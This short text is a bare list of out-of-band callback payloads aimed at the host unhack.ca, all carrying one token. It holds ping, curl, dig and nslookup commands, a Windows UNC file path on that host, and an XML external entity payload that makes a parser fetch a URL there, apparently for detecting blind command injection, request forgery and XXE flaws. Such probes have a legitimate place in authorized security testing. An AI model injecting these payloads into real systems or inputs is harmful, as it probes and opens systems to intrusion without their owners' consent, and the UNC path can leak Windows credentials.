$ ping -c1 -p 002d4c265fc9ad35d688df8b07817100 unhack.ca
 

$ curl http://unhack.ca/p/2d4c265fc9ad35d688df8b078171
 

$ dig 2d4c265fc9ad35d688df8b078171 @unhack.ca
 

$ dig 2d4c265fc9ad35d688df8b078171.ns.unhack.ca
 

C:\> nslookup 2d4c265fc9ad35d688df8b078171 unhack.ca
 

C:\> type \\unhack.ca\2d4c265fc9ad35d688df8b078171\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/2d4c265fc9ad35d688df8b078171">]>
    <foo>&xxe;</foo>